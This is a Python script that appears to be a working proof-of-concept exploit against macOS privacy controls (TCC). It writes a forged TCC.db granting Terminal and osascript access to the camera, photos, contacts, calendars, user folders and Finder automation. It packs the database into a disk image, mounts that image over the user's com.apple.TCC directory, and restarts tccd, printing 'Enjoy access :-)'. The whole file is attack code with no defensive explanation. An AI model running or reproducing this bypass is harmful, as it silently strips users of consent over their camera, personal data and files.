import os

tcc_dump = """
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE admin (key TEXT PRIMARY KEY NOT NULL, value INTEGER NOT NULL);
INSERT INTO admin VALUES('version',19);
CREATE TABLE policies (    id        INTEGER    NOT NULL PRIMARY KEY,     bundle_id    TEXT    NOT NULL,     uuid        TEXT    NOT NULL,     display        TEXT    NOT NULL,     UNIQUE (bundle_id, uuid));
CREATE TABLE active_policy (    client        TEXT    NOT NULL,     client_type    INTEGER    NOT NULL,     policy_id    INTEGER NOT NULL,     PRIMARY KEY (client, client_type),     FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE);
CREATE TABLE access_overrides (    service        TEXT    NOT NULL PRIMARY KEY);
CREATE TABLE expired (    service        TEXT        NOT NULL,     client         TEXT        NOT NULL,     client_type    INTEGER     NOT NULL,     csreq          BLOB,     last_modified  INTEGER     NOT NULL ,     expired_at     INTEGER     NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)),     PRIMARY KEY (service, client, client_type));
CREATE TABLE IF NOT EXISTS "access" (    service        TEXT        NOT NULL,     client         TEXT        NOT NULL,     client_type    INTEGER     NOT NULL,     auth_value     INTEGER     NOT NULL,     auth_reason    INTEGER     NOT NULL,     auth_version   INTEGER     NOT NULL,     csreq          BLOB,     policy_id      INTEGER,     indirect_object_identifier_type    INTEGER,     indirect_object_identifier         TEXT NOT NULL DEFAULT 'UNUSED',     indirect_object_code_identity      BLOB,     flags          INTEGER,     last_modified  INTEGER     NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)),     PRIMARY KEY (service, client, client_type, indirect_object_identifier),    FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE);
INSERT INTO access VALUES('kTCCServiceSystemPolicyDownloadsFolder','/usr/bin/osascript',1,2,0,1,X'fade0c000000003000000001000000060000000200000013636f6d2e6170706c652e6f73617363726970740000000003',NULL,NULL,'UNUSED',NULL,NULL,1570821926);
INSERT INTO access VALUES('kTCCServiceSystemPolicyDocumentsFolder','com.apple.Terminal',0,2,0,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,0,1578822650);
INSERT INTO access VALUES('kTCCServicePhotos','com.apple.Terminal',0,2,0,1,NULL,NULL,NULL,'UNUSED',NULL,0,1579641459);
INSERT INTO access VALUES('kTCCServiceSystemPolicyNetworkVolumes','com.apple.Terminal',0,2,0,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,NULL,1585236401);
INSERT INTO access VALUES('kTCCServiceSystemPolicyRemovableVolumes','com.apple.Terminal',0,2,0,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,NULL,1585236548);
INSERT INTO access VALUES('kTCCServiceSystemPolicyDownloadsFolder','com.apple.Terminal',0,2,0,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,NULL,1590157084);
INSERT INTO access VALUES('kTCCServiceCamera','com.apple.Terminal',0,2,0,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,NULL,1590158855);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.Terminal',0,2,0,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,0,1602916689);
INSERT INTO access VALUES('kTCCServiceAddressBook','com.apple.Terminal',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1606073969);
INSERT INTO access VALUES('kTCCServiceCalendar','com.apple.Terminal',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1606073972);
INSERT INTO access VALUES('kTCCServiceReminders','com.apple.Terminal',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1606073976);
INSERT INTO access VALUES('kTCCServiceSystemPolicyDesktopFolder','com.apple.Terminal',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1606771281);
INSERT INTO access VALUES('kTCCServiceAppleEvents','/usr/bin/osascript',1,2,4,1,X'fade0c000000003000000001000000060000000200000013636f6d2e6170706c652e6f73617363726970740000000003',NULL,0,'com.apple.finder',X'fade0c000000002c00000001000000060000000200000010636f6d2e6170706c652e66696e64657200000003',0,1606772849);
INSERT INTO access VALUES('kTCCServiceAppleEvents','com.apple.Terminal',0,2,3,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,0,'com.apple.finder',X'fade0c000000002c00000001000000060000000200000010636f6d2e6170706c652e66696e64657200000003',NULL,1606772944);
CREATE INDEX active_policy_id ON active_policy(policy_id);
COMMIT;
"""

def create_tcc_db():
	f = open('/tmp/tccdump.sql','w')
	f.write(tcc_dump)
	f.close()
	os.system("sqlite3 /tmp/TCC.db < /tmp/tccdump.sql")

def create_dmg():
	os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
	os.system("mkdir /tmp/mnt")
	os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
	os.system("cp /tmp/TCC.db /tmp/mnt/TCC.db")
	os.system("hdiutil detach /tmp/mnt 1>/dev/null")
	
def mount_trick():
	os.system("hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC /tmp/tmp.dmg 1>/dev/null")

def restart_tcc():
	os.system("launchctl stop com.apple.tccd && launchctl start com.apple.tccd")

def main():
	print("[i] Creating new TCC database")
	create_tcc_db()
	print("[i] Creating and prepare DMG file")
	create_dmg()
	print("[i] Mount DMG over com.apple.TCC")
	mount_trick()
	print("[i] Restart TCC")
	restart_tcc()
	print("[i] Enjoy access :-)")
	
	
main()